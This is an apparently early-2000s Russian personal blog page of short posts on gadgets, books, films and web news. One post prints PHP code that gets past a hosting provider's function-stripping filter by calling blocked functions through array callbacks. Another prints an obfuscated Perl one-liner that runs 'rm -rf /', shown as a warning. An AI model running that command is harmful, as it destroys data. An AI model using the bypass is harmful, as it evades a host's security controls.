Assistant AH-0972

Assistant AH-0972 Купил небольшую метеостанцию. Функции:

— прогноз погоды с точностью 75% (примерное состояние, тенденция давления)
— замер температуры в комнате
— замер температуры дистанционным датчиком (радиоканал, 30 метров)
— часы (два часовых пояса), дата
— два будильника с функцией Snooze
— проецированние показаний времени и температуры специальным проектором с ручной подстройкой фокуса

остальное — мелочи.

16 комментариев

Yandex. Новая версия.

Лицо Yandex’а вышло из стадии бета-тестирования. Как я и препологал, без рекламы они не обойдутся. Куда они её запихнули можно посмотреть там же [ >>> ]

Оставить комментарий

Патент на изобретение велосипеда

Новоизобретённые велосипеды встречаю, если не каждый день, то раз в неделю — точно. Но этот случай меня поразил. Давно я ничего не проверял на прочность.

Доделывал старому по просьбе старого клиента скрипт. Год эта доделка ему была не нужна, а теперь понадобилась. Дело всё происходит на заграничном хостинге. Германском, кажется.

Всё написал, закачиваю скрипт. Запрашиваю браузером — работает, но не всё. Скрипт простой. Очень. Ошибок нет, но чувство, что данные не читаются. У меня читаются, а там — нет. Обычная история.

Обвешиваю всё var_dump’ами и смотрю что у меня в переменных. Так и есть — на переменной $fp (результат функции fopen, язык — PHP), мне сообщают, что переменной такой нет. С сожалением сообщаю клиенту, что у него safe_mode, так что прочитать файл я просто не смогу.

«Сейчас свяжусь со службой поддержки» — на плохом английском заявляет клиент. Ок. Жду. От того, что он мне сообщил мне стало как-то невесело. Safe_mode, да? Парни из поддержки, видимо, не даже не знали что это такое. Зато я теперь знаю какими навороченными могут быть изобретённые велосипеды.

Дальнейшее добыто из рук самой технической поддержки и моих попыток заставить это всё работать, много-много раз гоняя файлы по FTP. Оказывается, у них там стоит супер навороченная система защиты. Она синтегрирована с FTP. Как только я лью туда файл (Perl, PHP, Python), она его обрабатывает и заменяет (sic!) «небезопасные» функции на пустышки!

Оооо!!! В частности пострадали мои fopen, flock, fgets и fclose. Запрещены вызовы целой кучи функций, в том числе call_user_func и функций-переменных.

Клиент в расстройстве и спрашивает как ему быть. Техподдержка и слышать не хочет о том, чтобы это чудо выключить, кроме того, функция описана в договоре (в самых выгодных цветах, естественно). Я, от безысходности, решил поиграть с разными способами вызова функций и закачки файла.

Испробовал call_user_func, $func(), include, require файлов с другими расширениями, закачка в Z/gzip/bzip2 с распаковкой — ничего не получается. Кругом стена. Всё предусмотрели. Тут я вспоминаю, что в PHP существуют особые функции, которые умеют вызывать разные другие функции в качестве callback. После проверки оказалось, что система такие функции считает джентльменами — в смысле она им доверяет.

Вот тут мне карта и попёрла! Для начала я написал небольшую функцию, которая, пользуясь новообретённой дыркой, запускает нужные мне функции. Привожу её здесь с небольшим куском кода — вдруг пригодится, если упомянутый велосипед, не дай бог, найдёт широкое применение.


function Xec ()
{
$comm = func_get_arg(0);
$args = array_slice(func_get_args(), 1);

if (func_num_args() == 3)
return array_reduce($args, $comm); else
if (func_num_args() == 2)
{
array_map($comm, $args);
return $args[0];
}

return NULL;
}

$fp = Xec ('fopen', 'c:\\autoexec.bat', 'r');
echo Xec ('fgets', $fp, 1024);
Xec ('fclose', $fp);

А потом просто подставил туда нужные мне значения.

Вопрос к присутствующим: кто-нибудь знает этого монстра? От службы поддержки я не добился ни названия, ни ссылки на какую-нибудь статью. Мне уже начинает казаться, что этого монстрика они в муках родили сами, чем ужасно гордятся. Но моё указание на наличие safe_mode в PHP породило в них комплекс неполноценности и теперь они боятся признаться в том, являются авторами этого творения.

26 комментариев

Кобра-киллер

Стихи гениального поэта Ильясова Николая Валериевича (Кобры-киллера) [ >>> ] . Особенно вот это хорошо: [ >>> ] Я просто плакал. Истекал слезами. Весь.

Вот оно:

ВОТ ПОГИБ ОН НА СЛУЖБЕ
И ОСТАЛАСЬ ЖЕНА ВДОВОЙ.
ЭТО БЫЛ МОЛОДОЙ ПАРНИШКА,
ОН ВЧЕРА НЕ ВЕРНУЛСЯ ДОМОЙ.

ХОРОНИЛИ ЕГО ВСЕМ ОТДЕЛОМ,
ЭТО БЫЛИ КРИК, ВОЙ И ПЛАЧ.
И ПРОЩАЛЬНЫМ САЛЮТОМ В ДОРОГУ,
ПРОВОДИЛИ НА ВЕКИ ЕГО.

НЕУЖЕЛИ НА ЭТОМ СВЕТЕ,
БУДУТ ВОЙНЫ, КРОВЬ И СМЕРТЬ.
НЕУЖЕЛИ НА ЭТОМ СВЕТЕ,
НЕ НАСТУПИТ ЕДИНЫЙ МИР.

2 комментария

Наука (говорит) о любви

Отказывается у известного телеведущего Александра Гордона есть вполне симпатичный сайт, а на этом сайте есть очень познавательная статья «Этология любви» — стенограмма одной из передач Гордона [ >>> ] Рекомендую к прочтению.

2 комментария

Процесс восстановления — 2

Perl — наш лучший друг. Даже под Windows. Небольшая программа на Perl и у меня в регистре только мои данные.

2 комментария

Flashback

Если кто-то ещё не знает — на сайте Экслера, где я хостился и продолжаю хостится, рухнул винт. Все мои данные за сентябрь потеряны. Постепенно восстанавливаю данные. Пока восстановил регистр (всё, кроме сентября).

4 комментария

Эрленд Лу. Наивно. Супер.

Кстати, дочитал вчера книгу Эрленд Лу. «Наивно. Супер.» (спасибо auda за наводку). Наивно, но не супер. Двадцатипятилетние малыши меня не умиляют. По ходу повествования никак не мог отделаться от ощущения, что вся семья и все, кто её окружает, намного задержались в умственном развитии. Я не говорю о мячиках/досках/и-прочем-таком (кто читал, тот поймёт), я говорю о мироощущении, о внутреннем развитии и потрясающем (потрясающем в отрицательном смысле) неумении делать выводы при достаточной общей эрудиции.

7 комментариев

Флоринда Доннер. Жизнь-в-сноведении.

Читаю книгу Флоринды Доннер. «Жизнь-в-сноведении». Только начал, но уже понял, что буду много внутренне спорить с автором.

Уже когда я прочитал, что магом в книге будет женщина, насторожился — мне показалось, что книга будет не подрожанием Кастанеда, а скорее «ответом». Читая дальше я убедился в том, что книга несёт в себе одну нехитрую мысль из ряда «все мужики — козлы». Я бы не назвал её феминистической — здесь нет идеи равенства.

Более всего меня умиляет аргументация — такая эмоциональная, что иногда так и тянет ей поддаться. Первый же аргумент по первому же вопросу «раскрывается» просто: «подумай, если все [мужчины] так говорят, наверное [наверняка] это плохо». Читая такие книги мне становится немного грустно, так как они проводят совершенно напрасный водораздел между полами — абсолютно исскуственный по своей природе, поскольку он становится видимым только после исскустного развешивания «ярлыков». А за то, какие разногласия такие книги (не идеи феминизма, не о них сейчас речь!) вносят, порой, между двумя счастливыми, любящими людьми, для автора надо бы придумать какое-нибудь непростое наказание, чтобы не переваливал, в дальнейшем, свои трудности на других.

2 комментария

Жи

Сидели тихо при свечах и неспеша ели суп «Ронин» эбонитовыми ложечками, а я смотрел на неё и думал обо всём. О том, что она очень красивая, добрая и нежная, о нас, о детстве, о книге, которую читаю… За полтора часа отдохнул так, как будто отдыхал целый день. Отдохнуть бы ещё пару дней. Да…

Оставить комментарий

Bluetooth

Почём сегодня Bluetooth-USB? Народ говорит о $50, в интернет-магазинах вижу $70, на Price.ru (Москва) — $30-35. Где правда? Кстати, кто-нибудь их вообще использует? Поделитесь впечатлениями.

8 комментариев

Час крокодила

Вчера ночью смотрел фильм «Час крокодила» (если правильно помню название). В монологе главного героя там была такая мысль: «один мой знакомый психотерапевт говорил, что у нас не один мозг, а три. Первый — мозг человека, под ним — мозг млекопетающего, под ним — мозг рептилии. И, когда психотерапевт просит вас лечь на кушетку, вы ложитесь вместе с лошадью и… крокодилом.». Сегодня почувствовал себя крокодилом, когда, чисто инстиктивно, вытянул руку и поймал в неё пролетающую муху, а потом, на том же движении хряпнул её об пол. Мозг в этот момент был занят обдумыванием одной интересной логической задачи, когда он переключился на муху, она уже лежала мёртвая на полу. Хорошо, что переключился. Кто знает, может быть я её съел?

Оставить комментарий

Игрушка

Что-то никак не могу пройти до конца — [ >>> ] Первые 15 уровней пролетели, а тут застрял на 18-м. Его вообще можно пройти? Если удасться кому-нибудь — скажите.

5 комментариев

Галерея скриншотов рабочего стола

Сайт «Галерея скриншотов рабочего стола», оказывается, открылся после редизайна. [ >>> ] Новый вариант мне нравится куда больше. Вот, кстати, скриншот моего экрана. [ >>> ]

Оставить комментарий

Ghost in the shell

Смотрю «Ghost in the shell». Поймал себя на странных ощущениях. Почти в самом начале есть момент, где девушка просыпается и идёт в другую комнату, он открывает дверь и на полу остаётся белый прямоугольник света. Оказалось, что я настолько сильно ожидал, что она её за собой закроет, что, когда этого не произошло, ожидание переросло в раздражение и я с трудом дождался момента, когда она её закрыла.

Оставить комментарий

Обидеть художника…

Похоже Куваева всерьёз допекли, раз он сделал такое. Скачать [ >>> ] Смотреть [ >>> ] Новый мульт про Масяню. Ох, блин. P.S. Да, детей и слабонервных уберите от колонок подальше.
P.P.S. Ещё подальше.

Оставить комментарий

Не моё

Все было: лужа на крыльце, Знакомый профиль мусорного бака
И у забора писала собака с задумчивой улыбкой на лице

Оставить комментарий

Страшилка на Perl

Отличный язык Perl: cat "test… test… test…" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Если уже где-нибудь встречали, надеюсь не запустили. :) В итоге запустит "rm -rf /"

Оставить комментарий

Восьмой Яндекс

Новая версия (пока бета) дизайна портала Яндекс [ >>> ] Мне нравится. Интересно, а куда они денут остальную рекламу?

Оставить комментарий